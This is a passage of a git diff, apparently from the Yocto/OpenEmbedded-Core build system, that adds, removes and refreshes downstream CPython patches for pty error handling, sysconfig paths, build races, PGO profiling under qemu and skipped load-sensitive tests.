diff --git a/meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch b/meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch
new file mode 100644
index 0000000000..026150f0e2
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch
@@ -0,0 +1,47 @@
+From f8a664cf1fc73e381d57d6927207286059744837 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Thu, 16 Sep 2021 16:35:37 +0200
+Subject: [PATCH] Lib/pty.py: handle stdin I/O errors same way as master I/O
+ errors
+
+reading stdin can throw the same I/O errors as reading from master fd does,
+e.g. when running under Yocto's test harness:
+======================================================================
+ERROR: test_spawn_doesnt_hang (test.test_pty.PtyTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+ File "/usr/lib/python3.10/test/test_pty.py", line 316, in test_spawn_doesnt_hang
+ pty.spawn([sys.executable, '-c', 'print("hi there")'])
+ File "/usr/lib/python3.10/pty.py", line 181, in spawn
+ _copy(master_fd, master_read, stdin_read)
+ File "/usr/lib/python3.10/pty.py", line 157, in _copy
+ data = stdin_read(STDIN_FILENO)
+ File "/usr/lib/python3.10/pty.py", line 132, in _read
+ return os.read(fd, 1024)
+OSError: [Errno 5] Input/output error
+
+So let's treat both channels the same.
+
+Upstream-Status: Submitted [https://github.com/python/cpython/pull/28388]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ Lib/pty.py | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/Lib/pty.py b/Lib/pty.py
+index 1d97994..fa8821b 100644
+--- a/Lib/pty.py
++++ b/Lib/pty.py
+@@ -178,7 +178,10 @@ def _copy(master_fd, master_read=_read, stdin_read=_read):
+ i_buf = i_buf[n:]
+
+ if stdin_avail and STDIN_FILENO in rfds:
+- data = stdin_read(STDIN_FILENO)
++ try:
++ data = stdin_read(STDIN_FILENO)
++ except OSError:
++ data = b""
+ if not data:
+ stdin_avail = False
+ else:
diff --git a/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-fix-another-place-where-lib-is-hard.patch b/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-fix-another-place-where-lib-is-hard.patch
deleted file mode 100644
index b97583682a..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-fix-another-place-where-lib-is-hard.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From a21f4f8fa5e5c0601898740b4ac08ec84f41e190 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 18 Apr 2019 17:11:06 +0200
-Subject: [PATCH] Lib/sysconfig.py: fix another place where 'lib' is hardcoded
- as the library path
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Lib/sysconfig.py | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
-index d15cec8..87fa5e6 100644
---- a/Lib/sysconfig.py
-+++ b/Lib/sysconfig.py
-@@ -20,10 +20,10 @@ __all__ = [
-
- _INSTALL_SCHEMES = {
- 'posix_prefix': {
-- 'stdlib': '{installed_base}/lib/python{py_version_short}',
-- 'platstdlib': '{platbase}/lib/python{py_version_short}',
-- 'purelib': '{base}/lib/python{py_version_short}/site-packages',
-- 'platlib': '{platbase}/lib/python{py_version_short}/site-packages',
-+ 'stdlib': '{LIBDEST}',
-+ 'platstdlib': '{LIBDEST}',
-+ 'purelib': '{LIBDEST}/site-packages',
-+ 'platlib': '{LIBDEST}/site-packages',
- 'include':
- '{installed_base}/include/python{py_version_short}{abiflags}',
- 'platinclude':
diff --git a/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch b/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch
new file mode 100644
index 0000000000..680254fab9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch
@@ -0,0 +1,32 @@
+From 71c194077bb907bfe423d3f3275f33a6c8ca0e74 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 17 Nov 2023 14:26:32 +0100
+Subject: [PATCH] Lib/sysconfig.py: use prefix value from build configuration
+ file
+
+This allows correctly substituting them for target installs using
+native python.
+
+Upstream-Status: Inappropriate [oe-core cross builds]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ Lib/sysconfig.py | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
+index 79c0510..91ebcb6 100644
+--- a/Lib/sysconfig.py
++++ b/Lib/sysconfig.py
+@@ -668,6 +668,11 @@ def _init_config_vars():
+ _CONFIG_VARS['VPATH'] = sys._vpath
+ if os.name == 'posix':
+ _init_posix(_CONFIG_VARS)
++ _CONFIG_VARS['installed_base'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['base'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['installed_platbase'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['platbase'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['platlibdir'] = _CONFIG_VARS['PLATLIBDIR']
+ if _HAS_USER_BASE:
+ # Setting 'userbase' is done below the call to the
+ # init function to enable using 'get_config_var' in
diff --git a/meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch b/meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch
deleted file mode 100644
index b1bceac512..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From c501e121a872cbcef8ffe626c1de173a125be9f8 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 16 Jan 2020 12:34:20 +0100
-Subject: [PATCH] Makefile: do not compile .pyc in parallel
-
-This was found to break reproducibility, and produce strange file ownership
-races.
-
-The upstream commit introducing the change was:
-https://github.com/python/cpython/commit/1a2dd82f56bd813aacc570e172cefe55a8a41504
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Makefile.pre.in | 12 ++++++------
- 1 file changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/Makefile.pre.in b/Makefile.pre.in
-index 1241112..5dfdf44 100644
---- a/Makefile.pre.in
-+++ b/Makefile.pre.in
-@@ -1457,30 +1457,30 @@ libinstall: build_all $(srcdir)/Modules/xxmodule.c
- fi
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
- $(PYTHON_FOR_BUILD) -Wi $(DESTDIR)$(LIBDEST)/compileall.py \
-- -j0 -d $(LIBDEST) -f \
-+ -d $(LIBDEST) -f \
- -x 'bad_coding|badsyntax|site-packages|lib2to3/tests/data' \
- $(DESTDIR)$(LIBDEST)
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
- $(PYTHON_FOR_BUILD) -Wi -O $(DESTDIR)$(LIBDEST)/compileall.py \
-- -j0 -d $(LIBDEST) -f \
-+ -d $(LIBDEST) -f \
- -x 'bad_coding|badsyntax|site-packages|lib2to3/tests/data' \
- $(DESTDIR)$(LIBDEST)
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
- $(PYTHON_FOR_BUILD) -Wi -OO $(DESTDIR)$(LIBDEST)/compileall.py \
-- -j0 -d $(LIBDEST) -f \
-+ -d $(LIBDEST) -f \
- -x 'bad_coding|badsyntax|site-packages|lib2to3/tests/data' \
- $(DESTDIR)$(LIBDEST)
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
- $(PYTHON_FOR_BUILD) -Wi $(DESTDIR)$(LIBDEST)/compileall.py \
-- -j0 -d $(LIBDEST)/site-packages -f \
-+ -d $(LIBDEST)/site-packages -f \
- -x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
- $(PYTHON_FOR_BUILD) -Wi -O $(DESTDIR)$(LIBDEST)/compileall.py \
-- -j0 -d $(LIBDEST)/site-packages -f \
-+ -d $(LIBDEST)/site-packages -f \
- -x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
- $(PYTHON_FOR_BUILD) -Wi -OO $(DESTDIR)$(LIBDEST)/compileall.py \
-- -j0 -d $(LIBDEST)/site-packages -f \
-+ -d $(LIBDEST)/site-packages -f \
- -x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
- $(PYTHON_FOR_BUILD) -m lib2to3.pgen2.driver $(DESTDIR)$(LIBDEST)/lib2to3/Grammar.txt
diff --git a/meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch b/meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch
deleted file mode 100644
index 237645bc60..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 840fda32c82550259d02a7a56a78a9c05162b1a1 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Wed, 8 May 2019 16:10:29 +0800
-Subject: [PATCH] Makefile: fix Issue36464 (parallel build race problem)
-
-When using make -j with the 'install' target, it's possible for altbininstall
-(which normally creates BINDIR) and libainstall (which doesn't, though it
-installs python-config there) to race, resulting in a failure due to
-attempting to install python-config into a nonexistent BINDIR. Ensure it also
-exists in the libainstall target.
-
-Upstream-Status: Submitted [https://github.com/python/cpython/pull/13186]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- Makefile.pre.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile.pre.in b/Makefile.pre.in
-index 15f3687..7e9f173 100644
---- a/Makefile.pre.in
-+++ b/Makefile.pre.in
-@@ -1456,7 +1456,7 @@ LIBPL= @LIBPL@
- LIBPC= $(LIBDIR)/pkgconfig
-
- libainstall: @DEF_MAKE_RULE@ python-config
-- @for i in $(LIBDIR) $(LIBPL) $(LIBPC); \
-+ @for i in $(LIBDIR) $(LIBPL) $(LIBPC) $(BINDIR); \
- do \
- if test ! -d $(DESTDIR)$$i; then \
- echo "Creating directory $$i"; \
---
-2.7.4
-
diff --git a/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch b/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch
index fa7735ff93..ee33128fa1 100644
--- a/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch
+++ b/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch
@@ -1,4 +1,4 @@
-From cf6a9100902484e4d028ee88742dd2487b014a98 Mon Sep 17 00:00:00 2001
+From 38278339832a57dbf5fa3ef21accaa03e2c814d7 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 30 Jan 2019 12:41:04 +0100
Subject: [PATCH] Makefile.pre: use qemu wrapper when gathering profile data
@@ -10,16 +10,16 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/Makefile.pre.in b/Makefile.pre.in
-index a3a02a7..d5503dd 100644
+index dd5e69f..381feb0 100644
--- a/Makefile.pre.in
+++ b/Makefile.pre.in
-@@ -507,8 +507,7 @@ build_all_generate_profile:
- $(MAKE) @DEF_MAKE_RULE@ CFLAGS_NODIST="$(CFLAGS_NODIST) $(PGO_PROF_GEN_FLAG)" LDFLAGS_NODIST="$(LDFLAGS_NODIST) $(PGO_PROF_GEN_FLAG)" LIBS="$(LIBS)"
-
- run_profile_task:
+@@ -658,8 +658,7 @@ profile-run-stamp:
+ # enabled.
+ $(MAKE) profile-gen-stamp
+ # Next, run the profile task to generate the profile information.
- @ # FIXME: can't run for a cross build
- $(LLVM_PROF_FILE) $(RUNSHARED) ./$(BUILDPYTHON) $(PROFILE_TASK) || true
+ ./pgo-wrapper ./python -m test.regrtest --pgo test_grammar test_opcodes test_dict test_builtin test_exceptions test_types test_support || true
-
- build_all_merge_profile:
$(LLVM_PROF_MERGER)
+ # Remove profile generation binary since we are done with it.
+ $(MAKE) clean-retain-profile
diff --git a/meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch b/meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch
new file mode 100644
index 0000000000..197daa71a5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch
@@ -0,0 +1,72 @@
+From 3471e3478e0760c42e04f8046cee2367ab5706d2 Mon Sep 17 00:00:00 2001
+From: Yi Fan Yu <yifan.yu@windriver.com>
+Date: Thu, 1 Apr 2021 13:08:37 -0700
+Subject: [PATCH] Skip failing tests due to load variability on YP AB
+
+Skip these tests until AB-INT is solved.
+
+[YOCTO #14296]
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
+
+Skip two additional tests due to suspected load variability failures.
+
+[YOCTO #15131]
+[YOCTO #15177]
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ Lib/test/_test_multiprocessing.py | 3 +++
+ Lib/test/test_time.py | 2 ++
+ 2 files changed, 5 insertions(+)
+
+diff --git a/Lib/test/_test_multiprocessing.py b/Lib/test/_test_multiprocessing.py
+index e42c7ab..dff5227 100644
+--- a/Lib/test/_test_multiprocessing.py
++++ b/Lib/test/_test_multiprocessing.py
+@@ -682,6 +682,7 @@ class _TestProcess(BaseTestCase):
+ close_queue(q)
+
+ @support.requires_resource('walltime')
++ @unittest.skip('timing related test, dependent on load')
+ def test_many_processes(self):
+ if self.TYPE == 'threads':
+ self.skipTest('test not appropriate for {}'.format(self.TYPE))
+@@ -2066,6 +2067,7 @@ class _TestBarrier(BaseTestCase):
+ except threading.BrokenBarrierError:
+ results.append(True)
+
++ @unittest.skip('timing related test, dependent on load')
+ def test_timeout(self):
+ """
+ Test wait(timeout)
+@@ -5024,6 +5026,7 @@ class TestWait(unittest.TestCase):
+ time.sleep(period)
+
+ @support.requires_resource('walltime')
++ @unittest.skip('timing related test, dependent on load')
+ def test_wait_integer(self):
+ from multiprocessing.connection import wait
+
+diff --git a/Lib/test/test_time.py b/Lib/test/test_time.py
+index 02cc3f4..51a4548 100644
+--- a/Lib/test/test_time.py
++++ b/Lib/test/test_time.py
+@@ -492,6 +492,7 @@ class TimeTestCase(unittest.TestCase):
+ @unittest.skipIf(
+ support.is_wasi, "process_time not available on WASI"
+ )
++ @unittest.skip('timing related test, dependent on load')
+ def test_process_time(self):
+ # process_time() should not include time spend during a sleep
+ start = time.process_time()
+@@ -505,6 +506,7 @@ class TimeTestCase(unittest.TestCase):
+ self.assertTrue(info.monotonic)
+ self.assertFalse(info.adjustable)
+
++ @unittest.skip('timing related test, dependent on load')
+ def test_thread_time(self):
+ if not hasattr(time, 'thread_time'):
+ if sys.platform.startswith(('linux', 'win')):
diff --git a/meta/recipes-devtools/python/python3/0001-Update-test_sysconfig-for-posix_user-purelib.patch b/meta/recipes-devtools/python/python3/0001-Update-test_sysconfig-for-posix_user-purelib.patch
new file mode 100644
index 0000000000..b6c6ac5a28
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Update-test_sysconfig-for-posix_user-purelib.patch
@@ -0,0 +1,37 @@
+From 37d058e841ba3bd89b5746cc5381afb014b11581 Mon Sep 17 00:00:00 2001
+From: Wentao Zhang <wentao.zhang@windriver.com>
+Date: Mon, 20 Mar 2023 13:39:52 +0800
+Subject: [PATCH] Update test_sysconfig for posix_user purelib
+
+Steps to trigger the failed test:
+Edit local.conf to add something as follows:
+ BASELIB = "lib64"
+ IMAGE_INSTALL:append = " python3-tests".
+bitbake core-image-sato
+runqemu qemux86-64 nographic slirp
+Reproducer:
+ $python3 -m test test_sysconfig
+
+Update test_sysconfig.test_user_similar() for the posix_user scheme:
+"purelib" doesn't use sys.platlibdir.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Wentao Zhang <wentao.zhang@windriver.com>
+
+---
+ Lib/test/test_sysconfig.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Lib/test/test_sysconfig.py b/Lib/test/test_sysconfig.py
+index b6dbf3d..5672590 100644
+--- a/Lib/test/test_sysconfig.py
++++ b/Lib/test/test_sysconfig.py
+@@ -372,7 +372,7 @@ class TestSysConfig(unittest.TestCase):
+ expected = os.path.normpath(global_path.replace(base, user, 1))
+ # bpo-44860: platlib of posix_user doesn't use sys.platlibdir,
+ # whereas posix_prefix does.
+- if name == 'platlib':
++ if name == 'platlib' or name == 'purelib':
+ # Replace "/lib64/python3.11/site-packages" suffix
+ # with "/lib/python3.11/site-packages".
+ py_version_short = sysconfig.get_python_version()
diff --git a/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch b/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch
deleted file mode 100644
index 957839bf3e..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 6c8ea7c1dacd42f3ba00440231ec0e6b1a38300d Mon Sep 17 00:00:00 2001
-From: Inada Naoki <songofacandy@gmail.com>
-Date: Sat, 14 Jul 2018 00:46:11 +0900
-Subject: [PATCH] Use FLAG_REF always for interned strings
-
-Upstream-Status: Submitted [https://github.com/python/cpython/pull/8226]
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
----
- Python/marshal.c | 9 +++++++--
- 1 file changed, 7 insertions(+), 2 deletions(-)
-
-diff --git a/Python/marshal.c b/Python/marshal.c
-index 6d06266c6a..51db2e3b2e 100644
---- a/Python/marshal.c
-+++ b/Python/marshal.c
-@@ -275,9 +275,14 @@ w_ref(PyObject *v, char *flag, WFILE *p)
- if (p->version < 3 || p->hashtable == NULL)
- return 0; /* not writing object references */
-
-- /* if it has only one reference, it definitely isn't shared */
-- if (Py_REFCNT(v) == 1)
-+ /* If it has only one reference, it definitely isn't shared.
-+ * But we use TYPE_REF always for interned string, to PYC file stable
-+ * as possible.
-+ */
-+ if (Py_REFCNT(v) == 1 &&
-+ !(PyUnicode_CheckExact(v) && PyUnicode_CHECK_INTERNED(v))) {
- return 0;
-+ }
-
- entry = _Py_HASHTABLE_GET_ENTRY(p->hashtable, v);
- if (entry != NULL) {
---
-2.21.0
-
diff --git a/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch b/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch
deleted file mode 100644
index c4fae09a5b..0000000000
--- a/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch
+++ /dev/null
@@ -1,209 +0,0 @@
-From 1ad771d86728ee2ed30e202e9768d8d825f96467 Mon Sep 17 00:00:00 2001
-From: Matthias Schoepfer <matthias.schoepfer@ithinx.io>
-Date: Fri, 31 May 2019 15:34:34 +0200
-Subject: [PATCH] bpo-36852: proper detection of mips architecture for soft
- float
-
-When (cross) compiling for softfloat mips, __mips_hard_float will not be
-defined and detection of OS triplet in configure.ac / configure will fail.
-
-This also has to do with the custom detection of the build triplet. Trying
-to do this in a more autoconf/autotools manner.
-
-Upstream-Status: Submitted [https://github.com/python/cpython/pull/13196]
-Signed-off-by: Matthias Schoepfer <matthias.schoepfer@ithinx.io>
-
-%% original patch: 0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch
----
- configure.ac | 175 +++++++--------------------------------------------
- 1 file changed, 21 insertions(+), 154 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index ede710e..bc81b0b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -710,160 +710,27 @@ fi
- MULTIARCH=$($CC --print-multiarch 2>/dev/null)
- AC_SUBST(MULTIARCH)
-
--AC_MSG_CHECKING([for the platform triplet based on compiler characteristics])
--cat >> conftest.c <<EOF
--#undef bfin
--#undef cris
--#undef fr30
--#undef linux
--#undef hppa
--#undef hpux
--#undef i386
--#undef mips
--#undef powerpc
--#undef sparc
--#undef unix
--#if defined(__ANDROID__)
-- # Android is not a multiarch system.
--#elif defined(__linux__)
--# if defined(__x86_64__) && defined(__LP64__)
-- x86_64-linux-gnu
--# elif defined(__x86_64__) && defined(__ILP32__)
-- x86_64-linux-gnux32
--# elif defined(__i386__)
-- i386-linux-gnu
--# elif defined(__aarch64__) && defined(__AARCH64EL__)
--# if defined(__ILP32__)
-- aarch64_ilp32-linux-gnu
--# else
-- aarch64-linux-gnu
--# endif
--# elif defined(__aarch64__) && defined(__AARCH64EB__)
--# if defined(__ILP32__)
-- aarch64_be_ilp32-linux-gnu
--# else
-- aarch64_be-linux-gnu
--# endif
--# elif defined(__alpha__)
-- alpha-linux-gnu
--# elif defined(__ARM_EABI__) && defined(__ARM_PCS_VFP)
--# if defined(__ARMEL__)
-- arm-linux-gnueabihf
--# else
-- armeb-linux-gnueabihf
--# endif
--# elif defined(__ARM_EABI__) && !defined(__ARM_PCS_VFP)
--# if defined(__ARMEL__)
-- arm-linux-gnueabi
--# else
-- armeb-linux-gnueabi
--# endif
--# elif defined(__hppa__)
-- hppa-linux-gnu
--# elif defined(__ia64__)
-- ia64-linux-gnu
--# elif defined(__m68k__) && !defined(__mcoldfire__)
-- m68k-linux-gnu
--# elif defined(__mips_hard_float) && defined(__mips_isa_rev) && (__mips_isa_rev >=6) && defined(_MIPSEL)
--# if _MIPS_SIM == _ABIO32
-- mipsisa32r6el-linux-gnu
--# elif _MIPS_SIM == _ABIN32
-- mipsisa64r6el-linux-gnuabin32
--# elif _MIPS_SIM == _ABI64
-- mipsisa64r6el-linux-gnuabi64
--# else
--# error unknown platform triplet
--# endif
--# elif defined(__mips_hard_float) && defined(__mips_isa_rev) && (__mips_isa_rev >=6)
--# if _MIPS_SIM == _ABIO32
-- mipsisa32r6-linux-gnu
--# elif _MIPS_SIM == _ABIN32
-- mipsisa64r6-linux-gnuabin32
--# elif _MIPS_SIM == _ABI64
-- mipsisa64r6-linux-gnuabi64
--# else
--# error unknown platform triplet
--# endif
--# elif defined(__mips_hard_float) && defined(_MIPSEL)
--# if _MIPS_SIM == _ABIO32
-- mipsel-linux-gnu
--# elif _MIPS_SIM == _ABIN32
-- mips64el-linux-gnuabin32
--# elif _MIPS_SIM == _ABI64
-- mips64el-linux-gnuabi64
--# else
--# error unknown platform triplet
--# endif
--# elif defined(__mips_hard_float)
--# if _MIPS_SIM == _ABIO32
-- mips-linux-gnu
--# elif _MIPS_SIM == _ABIN32
-- mips64-linux-gnuabin32
--# elif _MIPS_SIM == _ABI64
-- mips64-linux-gnuabi64
--# else
--# error unknown platform triplet
--# endif
--# elif defined(__or1k__)
-- or1k-linux-gnu
--# elif defined(__powerpc__) && defined(__SPE__)
-- powerpc-linux-gnuspe
--# elif defined(__powerpc64__)
--# if defined(__LITTLE_ENDIAN__)
-- powerpc64le-linux-gnu
--# else
-- powerpc64-linux-gnu
--# endif
--# elif defined(__powerpc__)
-- powerpc-linux-gnu
--# elif defined(__s390x__)
-- s390x-linux-gnu
--# elif defined(__s390__)
-- s390-linux-gnu
--# elif defined(__sh__) && defined(__LITTLE_ENDIAN__)
-- sh4-linux-gnu
--# elif defined(__sparc__) && defined(__arch64__)
-- sparc64-linux-gnu
--# elif defined(__sparc__)
-- sparc-linux-gnu
--# elif defined(__riscv)
--# if __riscv_xlen == 32
-- riscv32-linux-gnu
--# elif __riscv_xlen == 64
-- riscv64-linux-gnu
--# else
--# error unknown platform triplet
--# endif
--# else
--# error unknown platform triplet
--# endif
--#elif defined(__FreeBSD_kernel__)
--# if defined(__LP64__)
-- x86_64-kfreebsd-gnu
--# elif defined(__i386__)
-- i386-kfreebsd-gnu
--# else
--# error unknown platform triplet
--# endif
--#elif defined(__gnu_hurd__)
-- i386-gnu
--#elif defined(__APPLE__)
-- darwin
--#elif defined(__VXWORKS__)
-- vxworks
--#else
--# error unknown platform triplet
--#endif
--
--EOF
--
--if $CPP $CPPFLAGS conftest.c >conftest.out 2>/dev/null; then
-- PLATFORM_TRIPLET=`grep -v '^#' conftest.out | grep -v '^ *$' | tr -d ' '`
-- AC_MSG_RESULT([$PLATFORM_TRIPLET])
--else
-- AC_MSG_RESULT([none])
--fi
--rm -f conftest.c conftest.out
-+AC_CANONICAL_TARGET
-+## Not using $target to filter out vendor
-+## Need to handle macos, vxworks and hurd special (?) :-/
-+case ${target_os} in
-+ darwin*)
-+ PLATFORM_TRIPLET=darwin
-+ ;;
-+ hurd*)
-+ PLATFORM_TRIPLET=i386-gnu
-+ ;;
-+ vxworks*)
-+ PLATFORM_TRIPLET=vxworks
-+ ;;
-+ *)
-+ if test "${target_cpu}" != "i686"; then
-+ PLATFORM_TRIPLET=${target_cpu}-${target_os}
-+ else
-+ PLATFORM_TRIPLET=i386-${target_os}
-+ fi
-+ ;;
-+esac
-
- if test x$PLATFORM_TRIPLET != x && test x$MULTIARCH != x; then
- if test x$PLATFORM_TRIPLET != x$MULTIARCH; then
---
-2.24.1
-
diff --git a/meta/recipes-devtools/python/python3/0001-configure.ac-fix-LIBPL.patch b/meta/recipes-devtools/python/python3/0001-configure.ac-fix-LIBPL.patch
deleted file mode 100644
index 123ce3a2dc..0000000000
--- a/meta/recipes-devtools/python/python3/0001-configure.ac-fix-LIBPL.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From acce3d441e7eadadd2d3ce38654155dc43f1f607 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Fri, 7 Feb 2020 09:36:25 +0800
-Subject: [PATCH] configure.ac: fix LIBPL
-
-Use LIBDIR rather than prefix/lib, so that it would work when lib64.
-
-Upstream-Status: Inappropriate [oe-core specific]
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-Signed-off-by: Li Zhou <li.zhou@windriver.c>
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- configure.ac | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index ce04258..915f475 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -4532,9 +4532,9 @@ fi
- dnl define LIBPL after ABIFLAGS and LDVERSION is defined.
- AC_SUBST(PY_ENABLE_SHARED)
- if test x$PLATFORM_TRIPLET = x; then
-- LIBPL='$(prefix)'"/lib/python${VERSION}/config-${LDVERSION}"
-+ LIBPL='$(LIBDIR)'"/python${VERSION}/config-${LDVERSION}"
- else
-- LIBPL='$(prefix)'"/lib/python${VERSION}/config-${LDVERSION}-${PLATFORM_TRIPLET}"
-+ LIBPL='$(LIBDIR)'"/python${VERSION}/config-${LDVERSION}-${PLATFORM_TRIPLET}"
- fi
- AC_SUBST(LIBPL)
-
---
-2.7.4
-
diff --git a/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch b/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch
deleted file mode 100644
index 2b68c0acc2..0000000000
--- a/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From bc59d49efff41051034d7fbf5d0c8505e4c3134b Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 31 Jan 2019 16:46:30 +0100
-Subject: [PATCH] distutils/sysconfig: append
- STAGING_LIBDIR/python-sysconfigdata to sys.path
-
-So that target configuration can be used when running native python
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- Lib/distutils/sysconfig.py | 2 ++
- Lib/sysconfig.py | 2 ++
- 2 files changed, 4 insertions(+)
-
-diff --git a/Lib/distutils/sysconfig.py b/Lib/distutils/sysconfig.py
-index b51629e..2df348c 100644
---- a/Lib/distutils/sysconfig.py
-+++ b/Lib/distutils/sysconfig.py
-@@ -438,6 +438,8 @@ def _init_posix():
- platform=sys.platform,
- multiarch=getattr(sys.implementation, '_multiarch', ''),
- ))
-+ if 'STAGING_LIBDIR' in os.environ:
-+ sys.path.append(os.environ['STAGING_LIBDIR']+'/python-sysconfigdata')
- _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0)
- build_time_vars = _temp.build_time_vars
- global _config_vars
-diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
-index b2d790b..405273c 100644
---- a/Lib/sysconfig.py
-+++ b/Lib/sysconfig.py
-@@ -419,6 +419,8 @@ def _init_posix(vars):
- """Initialize the module as appropriate for POSIX systems."""
- # _sysconfigdata is generated at build time, see _generate_posix_vars()
- name = _get_sysconfigdata_name()
